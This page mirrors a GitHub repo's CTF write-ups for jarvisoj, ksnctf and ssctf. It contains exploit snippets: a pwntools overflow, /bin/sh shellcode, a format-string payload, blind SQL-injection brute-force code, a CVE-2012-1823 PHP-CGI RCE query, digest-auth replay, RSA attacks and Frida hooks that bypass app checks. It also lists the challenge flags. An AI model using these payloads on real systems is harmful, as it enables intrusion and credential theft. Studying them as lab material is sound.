Giter VIP home page Giter VIP logo

ctf's People

Watchers

 avatar

ctf's Issues

wp for https://www.jarvisoj.com/challenges

  1. apk 伪加密
    https://github.com/zhouat/DalvikBytecodeTampering/blob/master/unpack.py
zip_file="word.zip"
zip_entry="word.docx"
from zipfile import ZipFile, ZipInfo
zip_instance = ZipFile(zip_file)
zip_info = zip_instance.getinfo(zip_entry)
zip_info.flag_bits ^= zip_info.flag_bits % 2
ZipFile.extract(zip_instance,zip_info
  1. shellcode
    https://www.offensive-security.com/metasploit-unleashed/msfvenom/
    https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/
    shellcodeexec
msfvenom -a x86 --platform windows -p windows/messagebox TEXT="F**K U" -e x86/alpha_mixed -t raw BufferRegister=EAX

pwntool
socket

from pwn import *
context.log_level='debug'
conn = remote('pwn.jarvisoj.com',9876)
print conn.readline()
conn.send('a'*0x88+'\x20\x06\x40\x00\x00\x00\x00\x00')
print conn.recvrepeat()

pop shell

In [23]: print disasm('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80')
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx,esp
   f:   50                      push   eax
  10:   53                      push   ebx
  11:   89 e1                   mov    ecx,esp
  13:   31 d2                   xor    edx,edx
  15:   b0 0b                   mov    al,0xb
  17:   cd 80                   int    0x80

Tools:
JPK(JPocketKnife)
Stegsolve
asm(arch='arm') sudo apt-get install gcc-arm-linux-gnueabihf

tips

string to hex,oct

print "\\" + "\\".join(oct(c) for c in ordlist(cmd))

wp for http://ksnctf.sweetduet.info/

解题思路:(Flag见附录)
2. Easy Cipher
词频分析(http://quipqiup.com/), 分析出为简单的 ascii 循环移位,offset:13。


3.Crawling Chaos
输入后,提交按钮,提示:No。查看页面源代码,发现js代码混淆,放弃去混淆的思路。重点定位到No的提示处。使用Firefox的调试功能,单步调试后发现alert信息。
alert = function() { console.trace() }

$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});

4.Villager A
格式化字符串攻击,printf %n--修改4个字节,%hn修改两个字节


  1. Onion
    将字符集保存到文件,多次尝试base64 -D,可以看到以下编码:uudecode
    begin 666
    51DQ!1U]&94QG4#-3:4%797I74$AU

end


  1. Login
  • admin' or '1'='1 sql注入,尝试登录成功。
  • 提示 flag 是admin的秘密,继续利用注入暴力破解密码
  • admin' and length(pass)==21 -- 猜测长度为21,成功
  • 需要至少尝试(21-len(FLAG_))次,
    admin' and substr(pass,1,1)='F'--
    admin' and substr(pass,1,5)=='FLAG_'--

  1. Programming
    空白符编程(http://ws2js.luilak.net/interpreter.html),代码信息隐藏在不可见的字符中,这个历史大致了解下即可。

8.Basic is secure?
wireshark 打开后,找到登录信息,提示q8的密码即flag,base64 -D 。


9.Digest is secure!
可以解密出rsponse的md5值,ha1中包含密码信息,直接可以复用。nonce在一个时间段内有效,同时需要更改ha2,最后重新生成response。


10.#!
haha ~


  1. Riddle
    haha exe! skip ...
  • [ ]

12.Hypertext Preprocessor
RCE
~q12/?-s 看到php源码,提示flag在目录中。2012:1823 提示CVE-2012-1823
~q12/?-dauto_prepend_file%3d/proc/self/environ
~q12/?-dauto_append_file%3d/proc/self/environ
User-Agent:


  1. Proverb
    没有权限的文件,考虑符号链接。

  1. linux 弱口令爆破,john。字典http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt
    python 调用glibc的加密接口
python -c 'import crypt; print crypt.crypt("test", "$6$random_salt")'

  1. Jewel
    这是一道移动破解题,根据题意,先爆破出getDeviceId:999999913371337,接着解密出包含EXtComment的flag图片。

16.Math I
RSA 互质的两个数已经分解出,带入公式求解。https://zh.wikipedia.org/wiki/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95


17.Math II
二分法查找,开根虽然不方便,指数运算很快啊。


22.Square Cipher


  1. Reserved
    ppencode 将perl 代码进行混淆 。 http://namazu.org/~takesako/ppencode/demo.html
    aaencode 将js代码进行混淆 。 http://utf-8.jp/public/aaencode.html

28.Lo-Tech Cipher
StegSolve 图片XOR


32.Simple Auth
https://bugs.php.net/bug.php?id=64069


  1. HTTPS
    两个 n 值存在公因子,可以用欧几里得算法直接分解n,得到p、q。

35.Simple Auth II
可以直接download 对应的数据库文件。

Flag:
2. Easy Cipher: FLAG_SwzgxBJSAMqwxxAU
3. Crawling Chaos: FLAG_fqpZUCoqPb4izPJE
4. Villager A: FLAG_nwW6eP503Q3QI0zw
5. Onion: FLAG_FeLgP3SiAWezWPHu
6. Login: FLAG_KpWa4ji3uZk6TrPK
7. Programming: FLAG_EmTx6FTbGLieiMcA
8. Basic: FLAG_5ux7zK2NKSH8fSGA
9. Digest: FLAG_YBLyivV4WEvC4pp3
10. #!: FLAG_SHEBANG
12.Hypertext: FLAG_ZysbiGgbHrN3f9zs
13.Proverb : FLAG_XoK9PzskYedj/T&B
14.john: FLAG_aSiuJHSLfzoQkszD
15. Jewel :FLAG_9X4bfxgLTi5KtQss
16. Math I: FLAG_NbZ6gQeKDMVFJMaU
17. Math II : FLAG_545783032743911043438387247245888260273
22.Square Cipher:FLAG_KC9ABe643Jx8Ckmf
25.Reserved:FLAG_As5zgVSNukaoJvvZ
28.Lo-Tech Cipher: FLAG_xWqGGiTkpQpF43mp
32.Simple Auth: FLAG_VQcTWEK7zZYzvLhX
33. HTTPS: FLAG_txkbcPbk2ZJagaXs
35.Simple Auth II: FLAG_iySDmApNegJvwmxN

python -c "print '\xe0\x99\x04\x08'+'%34445x'+'%6\$hn'" |./q4
import commands,time
url='http://ctfq.sweetduet.info:10080/~q6/'
#url='127.0.0.1:8888'
method='POST'
#data=''' " id=admin' or '1'='1" '''
#data=''' " id=admin' and length(pass)==21-- " '''
#data=''' " id=admin' and substr(pass,1,5)=='FLAG_'-- " '''
data=''' " id=admin' and substr(pass,%d,1)=='%s'-- " '''

#resp=commands.getstatusoutput('curl --request %s %s --data %s'%(method,url,data))
#print resp

tradition_list=[chr(x) for x in range(33,126)]
faster_list=[]

for i in range(ord('a'),ord('z')+1):
    faster_list.append(chr(i))
    
for i in range(ord('A'),ord('Z')+1):
    faster_list.append(chr(i))

for i in range(ord('0'),ord('9')+1):
    faster_list.append(chr(i))

smart_list= ['e','t','a','o','i','n','s','h','r','d','l','c','u','m','w','f','g','y','p','b','v','k','j','x','q','z']
smart_list+=['E', 'T', 'A', 'O', 'I', 'N', 'S', 'H', 'R', 'D', 'L', 'C', 'U', 'M', 'W', 'F', 'G', 'Y', 'P', 'B', 'V', 'K', 'J', 'X', 'Q', 'Z']
smart_list+=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

def brute_force(index):
    for chr_tmp in tradition_list:
        if chr_tmp=='`' or chr_tmp=='\'' or chr_tmp=='\"':
            print "skip",chr_tmp
            continue
        guess_info= data%(index,chr_tmp)
        resp=commands.getstatusoutput('curl --request %s %s --data %s'%(method,url,guess_info))[1]
        if( resp!=None and resp.find('Congratulations')>0):
            print chr_tmp
            return chr_tmp
out=''
beg=time.time()
for i in range(0,16):
    try:
        print "trying{%d}"%(i)
        out+=brute_force(i+6)
    except:
        pass
print out
print "elapse:",time.time()-beg
#tradition_list :341.855051994
#faster_list    :213.531006098
#smart_list     :197.773934841

curl --header "Authorization: Digest username="q9", realm="secret", nonce="9kq85BdLBQA=4dd321f0ee7b30a290e17ca7cea18e7fa240ef77",uri="/~q9/flag.html", algorithm=MD5, response="6c5bb3df21ebb295423221725ec352a4", qop=auth, nc=00000001, cnonce="9691c249745d94fc"" http://ctfq.sweetduet.info:10080/~q9/flag.html
import re,commands,md5
#Response = md5(ha1:nonce:
#               nc:cnonce:qop:
#               ha2)
#ha1 = md5($username:$realm:$passwd)
#ha2 = md5("GET:/index.html/")
#
#c3077454ecf09ecef1d6c1201038cfaf
#http://md5decryption.com/
#Decrypted Text: c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:
#                00000001:9691c249745d94fc:auth:
#                31e101310bcd7fae974b921eb148099c
#
# tips: nonce very along with time(useful at a short time period)
# chg ha2
url='http://ctfq.sweetduet.info:10080/~q9/flag.html'

resp=commands.getstatusoutput('''curl -i %s'''%(url))
pattern=re.compile("(?:WWW-Authenticate:)(.*)")
serv_resp=re.search(pattern,resp[1]).group(1)
def gen_md5(str):
	return md5.new(str).hexdigest()


cnonce="9691c249745d94fc"
ha1="c627e19450db746b739f41b64097d449"
pattern=re.compile('(?:nonce=\")(.*)(?:",)')
nonce=re.search(pattern,serv_resp).group(1)
header_info=re.search(pattern,serv_resp).group(0)


def gen_md5(str):
    return md5.new(str).hexdigest()

#Authorization: Digest username="q9", realm="secret", nonce="TTLMqSJLBQA=fb345755df22fe977b8372fe04881aa7f3ad6a89", uri="/~q9/flag.html", algorithm=MD5, response="a6416d5aa5f9a99fa7a345cd9c356b17", qop=auth, nc=00000001, cnonce="9691c249745d94fc"

resp_info="%s:%s:00000001:9691c249745d94fc:auth:%s"%(ha1,nonce,gen_md5('GET:/~q9/flag.html'))

req_info='''Authorization: Digest realm=secret, algorithm=MD5, qop=auth,nc=00000001, username=q9, nonce=%s, uri=/~q9/flag.html,response=%s, cnonce=9691c249745d94fc ''' %(nonce,gen_md5(resp_info))

url='http://ctfq.sweetduet.info:10080/~q9/flag.html'

resp=commands.getstatusoutput('''curl --header "%s" %s'''%(req_info, url))
print resp[1]

RSA,c :密文,m:明文

import gmpy
d = long(gmpy.invert(e,(p-1)*(q-1)))
m = pow(c,d,n)

大数分解

  1. msieve -e -p -q -v 3233
  2. http://factordb.com/index.php
  3. JS RSA Demo http://www-cs-students.stanford.edu/~tjw/jsbn/rsa2.html
from Crypto.PublicKey import RSA
pub = RSA.importKey("""
""")
n=long(pub.n)

with open('flag.enc', 'r') as f:
    cipher = f.read().encode('hex')
from Crypto.PublicKey import RSA
import gmpy
f=open("key.pem","w")
p=""
q=""
e=65537L
d=long(gmpy.invert(e,(p-1)*(q-1)))
private_key = RSA.construct((n, e, d))
f.write(private_key.exportKey().decode())
f.close()
1)生成私钥文件test.key:
openssl genrsa -out test.key 1024
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

2)私钥文件中提取公钥test_pub.key:
openssl rsa -in test.key -pubout -out test_pub.key
-----BEGIN PUBLIC KEY-----
-----END PUBLIC KEY-----

3)从密钥文件test.key中获取RSA的相关参数:
openssl rsa -in test_pub.key -pubin -modulus -text

4) 生成浏览器证书文件
证书请求
openssl req -new -out cert.csr -key  test_pri.key
创建自签名的DER证书(包含n,e)
openssl x509 -req -in cert.csr -out rsa_public_key.der -outform der -signkey test_pri.key -days 3650
DER证书转换为PEM
openssl x509 -in rsa_public_key.der -inform der -outform pem -out cert.pem


PEM 格式的证书文件,wireshark,浏览器使用该类型证书
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----

从证书中获取RSA的相关参数:
PEM(文本的格式):openssl x509 -in certificate.pem -text -noout
DER(二进制格式):openssl x509 -in certificate.der -inform der -text -noout

证书转换:
PEM转为DER :openssl x509 -in cert.crt -outform der -out cert.der
DER转为PEM :openssl x509 -in cert.crt -inform der -outform pem -out cert.pem

p、q两个素数:
e 和(p-1)*(q-1)互质
d*e = 1 mod (p-1)*(q-1)

CRT
1)dP=d mod (P-1)
2)dq=d mod (q-1)
3)q*qinv=1 mod p
long(gmpy.invert(q,p))


modulus           INTEGER,  -- n = p*q
publicExponent    INTEGER,  -- e = 65537 (=0x10001)
privateExponent   INTEGER,  -- d == e^(-1) mod (p-1)*(q-1)
prime1            INTEGER,  -- p
prime2            INTEGER,  -- q
exponent1         INTEGER,  -- d mod (p-1)
exponent2         INTEGER,  -- d mod (q-1)
coefficient       INTEGER,  -- q^(-1) mod p
echo "12ws" | tr '[:lower:]' '[:upper:]'

公钥: (n, e)
私钥: (n, d)
信息加密:m^e = c(mod n)
信息解密:c^d = m(mod n)

Tips:
1)n1,n2 存在公共因子p,快速求解q1,q2。
2)n、m相同,多次加密,共模攻击。
3)rabin RSA

def egcd(a,b):  
    if b==0:  
        return 1,0  
    else:  
        x,y=egcd(b,a%b)  
        return y,x-a/b*y 

(s1,s2)=egcd(e1,e2)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
若s<0
s = -s
c = gmpy.invert(c, n)
#!/usr/bin/python
# coding=utf-8
import gmpy
import string
from Crypto.PublicKey import RSA

# 读取公钥参数
with open('pubkey.pem', 'r') as f:
    key = RSA.importKey(f)
    N = key.n
    e = key.e

p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
with open('flag.enc', 'r') as f:
    cipher = f.read().encode('hex')
    cipher = string.atoi(cipher, base=16)
    # print cipher

# 计算yp和yq
yp = gmpy.invert(p,q)
yq = gmpy.invert(q,p)

# 计算mp和mq
mp = pow(cipher, (p + 1) / 4, p)
mq = pow(cipher, (q + 1) / 4, q)

# 计算a,b,c,d
a = (yp * p * mq + yq * q * mp) % N
b = N - int(a)
c = (yp * p * mq - yq * q * mp) % N
d = N - int(c)

for i in (a,b,c,d):
    s = '%x' % i
    if len(s) % 2 != 0:
        s = '0' + s
    print s.decode('hex')
高精度快速求底数
gmpy.root(8, 2)[1]=1

二分法查找
def bin_search(beg,end):
    while beg<=end:
        mid=(beg+end)/2
        if mid**101==c:
            return mid
        elif mid**101<c:
            beg=mid+1
        else:
            end=mid-1

利用p、q之间的关系,求两个质数。
http://www.freebuf.com/articles/web/84744.html

#ref
https://people.eecs.berkeley.edu/~daw/teaching/cs70-f03/Notes/lecture12b.pdf
https://zh.wikipedia.org/wiki/%E4%B8%AD%E5%9B%BD%E5%89%A9%E4%BD%99%E5%AE%9A%E7%90%86
https://warrenguy.me/blog/regenerating-rsa-private-key-python
http://bobao.360.cn/learning/detail/3058.html
http://weibo.com/p/23041872529adc0102vn36?pids=Pl_Official_CardMixFeed__4&feed_filter=1&sudaref=www.google.com.hk&retcode=6102
http://www.tuicool.com/articles/2E3INnm

pattern

#!/usr/bin/python
"""Utility functions to work with character patterns."""

__lower_alpha = 'abcdefghijklmnopqrstuvwxyz'
__upper_alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
__numeric = '0123456789'

def pattern_create(length, charsets=None):
	"""Generates a unique, nonrepeating pattern of a given length.

	length:
		the resulting pattern's length, in characters

	charsets: 
		if given, must be a tuple/list containing 3 strings. The pattern
		will be generated using the given sets.

	"""
	if charsets is None:
		charsets = (__upper_alpha, __lower_alpha, __numeric)
	if length <= 0:
		return ''

	state = [0, 0, 0]
	output = []
	count = (length + 2) // 3
	while count > 0:
		output.append(charsets[0][state[0]] 
			+ charsets[1][state[1]] 
			+ charsets[2][state[2]])
		state[2] += 1
		if state[2] >= len(charsets[2]):
			state[2] = 0
			state[1] += 1
			if state[1] >= len(charsets[1]):
				state[1] = 0
				state[0] += 1
				if state[0] >= len(charsets[0]):
					state[0] = 0
					# print 'WARNING: the sequence has started over.'
		count -= 1
	return ''.join(output)[:length]

# Handy command-line usage
if __name__ == '__main__':
	import sys

	op = sys.argv[1]

	if op == 'make':
		length = int(sys.argv[2])
		print pattern_create(length)
	elif op == 'find':
		value = sys.argv[2]
		max_len = int(sys.argv[3])
		print 'Value provided: %s' % value

		if len(value) == 8:
			print 'Considering the value to be a hex register data'
			value = value.upper()
			chars = [chr(int(value[0:2], 16)),
				chr(int(value[2:4], 16)),
				chr(int(value[4:6], 16)),
				chr(int(value[6:8], 16))]
		elif len(value) == 4:
			print 'Considering the value to be a string'
			chars = value
		pat = pattern_create(max_len)
		pos = pat.find(''.join(chars))
		if pos == -1:
			chars = chars[::-1]
			pos = pat.find(''.join(chars))
			if pos == -1:
				print 'Not found (tried both BE and LE)'
			else:
				print 'Found (LE order) at offset %d' % pos
		else:
			print 'Found (BE order) at offset %d' % pos

frida

frida-trace -U -p 12553 -i 'strcmp'
-f inject zygote

frida -U -f sg.vantagepoint.uncrackable2 --no-pause -l uncrackable2.js

setImmediate(function() {
    Java.perform(function() {

        });
});
#!/usr/bin/env python
# coding=utf-8
from __future__ import print_function
import frida,sys

#0-export sym
#1-offset
hook_fun_switch=0
target_pkg_name="com.yaotong.crackme"

#0
hook_fun_by_export_sym = """

target_so="libcrackme.so";
target_fun_symbol="Java_com_yaotong_crackme_MainActivity_securityCheck"

Java.perform(function(){
    send("Running Script");

    var target_fun_add = undefined;
    exports = Module.enumerateExportsSync(target_so);
    for(i=0; i<exports.length; i++){
        if(exports[i].name == target_fun_symbol){
            target_fun_add = exports[i].address;
            send("find fun at " + target_fun_add);
            break;
        }
    }

    Interceptor.attach(target_fun_add,{
        onEnter: function(args){
            send("key is: " +Memory.readUtf8String(Memory.readPointer(target_fun_add.sub(0x11a8).add(0x628c))));
        }
    });
});
"""

hook_fun_by_export_sym_2 = """

target_so="libcrackme.so";
target_fun_symbol="Java_com_yaotong_crackme_MainActivity_securityCheck"

Java.perform(function(){
    send("Running Script");
    
    target_fun_add=Module.findExportByName(target_so , target_fun_symbol)
    Interceptor.attach(target_fun_add,{
        onEnter: function(args){
            send("key exp is: " +Memory.readUtf8String(Memory.readPointer(target_fun_add.sub(0x11a8).add(0x628c))));
        }
    });
});
"""



#1
hook_fun_by_offet= """

target_so="libcrackme.so";
target_fun_offset=0x11A8;

Java.perform(function(){
    send("Running Script");

    target_fun_add=Module.findBaseAddress(target_so).add(target_fun_offset);
    send("find fun at " + target_fun_add)

    Interceptor.attach(target_fun_add,{
        onEnter: function(args){
            send("key is: " +Memory.readUtf8String(Memory.readPointer(target_fun_add.sub(0x11a8).add(0x628c))));
        }
    });
});
"""

check_hook_code = """
    send("Running Script");
    Java.perform(function(){
    MainActivity = Java.use("com.yaotong.crackme.MainActivity");
    MainActivity.securityCheck.implementation = function(v){
        send("securityCheck hooked");
        return true;
    }
});
"""

def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)

process = frida.get_device_manager().enumerate_devices()[-1].attach(target_pkg_name)
if hook_fun_switch ==1:
    script = process.create_script(hook_fun_by_offet)
else:
    script = process.create_script(hook_fun_by_export_sym_2)
script.on('message', on_message)
script.load()
sys.stdin.read()



wp for http://ssctf.seclover.com/challenge/4/

def lol(str='',offset=0):
    if str.islower():
        return  chr(ord(str) + offset) if (ord(str) + offset) <= ord('z') else chr((ord(str) + offset) % (ord('z') + 1)+ord('a'))
    elif str.isupper():
        return chr(ord(str) + offset) if (ord(str) + offset) <= ord('Z') else chr((ord(str) + offset) % (ord('Z') + 1) + ord('A'))
    else:
        return str
# -*- coding: utf_8 -*-
e = raw_input('input\n')
elen = len(e)
field=[]
for i in range(2,elen):
            if(elen%i==0):
                field.append(i)

for f in field:
    b = elen / f
    result = {x:'' for x in range(b)}
    for i in range(elen):
        a = i % b;
        result.update({a:result[a] + e[i]})
    d = ''
    for i in range(b):
        d = d + result[i]
    print f,'\t',d

proxy

[1] nohup sslocal -s 服务器地址 -p 服务器端口 -l 本地端端口 -k 密码 -m 加密方法 &
[2] sudo apt-get install polipo
[3] sudo vim /etc/polipo/config

socksParentProxy = "localhost:1080"
socksProxyType = socks5

[4] sudo service polipo stop & start

http_proxy=http://localhost:8123 curl ip.gs

export http_proxy=http://localhost:8123
curl ip.gs
. gitconfig 
[https]
proxy = socks5://127.0.0.1:1080
[http]
proxy = socks5://127.0.0.1:1080
du -sh directory

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.